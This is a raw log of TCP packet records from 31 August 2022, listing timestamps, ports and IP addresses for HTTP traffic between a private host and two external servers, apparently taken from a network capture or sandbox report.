Aug 31, 2022 14:28:32.911216021 CEST	80	49725	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:33.481725931 CEST	80	49725	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:33.481766939 CEST	80	49725	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:33.485284090 CEST	49725	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:33.524813890 CEST	49725	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:33.600605011 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:33.767298937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.771162987 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:33.771537066 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:33.810405016 CEST	80	49725	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:33.938386917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939284086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939301968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939313889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939373970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:33.939483881 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939552069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939563990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939634085 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:33.939888954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939959049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.939975023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.940026045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:33.940207958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.940279961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.940291882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.940361023 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:33.940705061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.940730095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.940745115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:33.940813065 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.105912924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.105981112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106025934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106076956 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.106111050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106163979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106220961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.106262922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106314898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106364965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106401920 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106456995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106508017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106530905 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.106570959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106703043 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.106739044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106791019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106826067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106874943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.106901884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106957912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.106995106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107053995 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.107343912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107429028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107464075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107511044 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.107563972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107610941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107650042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107707977 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.107913017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.107965946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.108006954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.108028889 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.108233929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.108947039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.109019995 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.273051023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273123980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273165941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273222923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273286104 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.273319960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273363113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273413897 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.273819923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273878098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273916960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.273994923 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.274080038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274136066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274178028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274230003 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.274271965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274334908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274373055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274430990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274475098 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.274523973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274574995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.274686098 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.275413990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.275465012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.275505066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.275563002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.275618076 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.275654078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.275696039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.275748014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.276083946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276140928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276180983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276318073 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.276376963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276487112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276504040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276576996 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.276631117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276652098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276667118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276751995 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.276937008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276958942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.276974916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277044058 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.277324915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277390957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277406931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277488947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.277631044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277698994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277713060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277780056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.277913094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277971983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.277986050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.278040886 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.278134108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.278290033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.278311968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.278326035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.278405905 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.278851986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.278877974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.278892994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279056072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.279109001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279130936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279146910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279200077 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.279478073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279500008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279515028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279572010 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.279702902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279723883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279738903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.279807091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.439950943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440021992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440063000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440095901 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.440119982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440181017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440218925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440232038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.440802097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440864086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440903902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.440920115 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.440979958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.441042900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.441085100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.441114902 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.442024946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.442146063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.442190886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.442233086 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.442260027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.442384005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.442444086 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.442461967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.442981005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.443042040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.443073988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.443118095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.443125963 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.443176031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.443207979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.443245888 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.444284916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444314957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444334030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444367886 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.444511890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444531918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444583893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444598913 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.444833994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444863081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444876909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.444909096 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.445025921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445048094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445061922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445100069 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.445744038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445765018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445780039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445827007 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.445864916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445884943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445899963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.445946932 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.446259022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446309090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446324110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446382046 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.446511984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446572065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446587086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446630955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.446878910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446902037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446919918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.446957111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.447117090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447202921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447227001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447279930 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.447549105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447571039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447585106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447633982 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.447671890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447693110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447725058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.447745085 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.448045969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448101997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448116064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448169947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.448309898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448342085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448362112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448410988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.448647022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448667049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448681116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448718071 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.448909044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448930025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448944092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.448980093 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.607454062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.607505083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.607532024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.607577085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.607604980 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.607637882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.607666016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.607693911 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.608196974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.608278036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.608336926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.608405113 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.608441114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.608510971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.608551025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.608583927 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.609361887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.609420061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.609457016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.609512091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.609527111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.609570026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.609608889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.609677076 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.610186100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.610305071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.610387087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.610424042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.610507965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.610626936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.610713959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.610785007 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.611295938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.611434937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.611468077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.611521959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.611541986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.611643076 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.611670971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.611715078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.612057924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612098932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612126112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612154961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.612418890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612473011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612500906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612555981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.612662077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612701893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612728119 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612772942 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.612860918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612900972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612927914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.612982988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.613279104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613321066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613347054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613372087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.613440990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613478899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613518953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613522053 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.613800049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613848925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613876104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613924026 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.613945961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.613984108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614015102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614067078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.614312887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614352942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614379883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614417076 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.614547014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614597082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614633083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.614661932 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.615004063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615080118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615123987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615133047 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:34.615175962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:34.615217924 CEST	80	49726	85.209.157.230	192.168.2.4
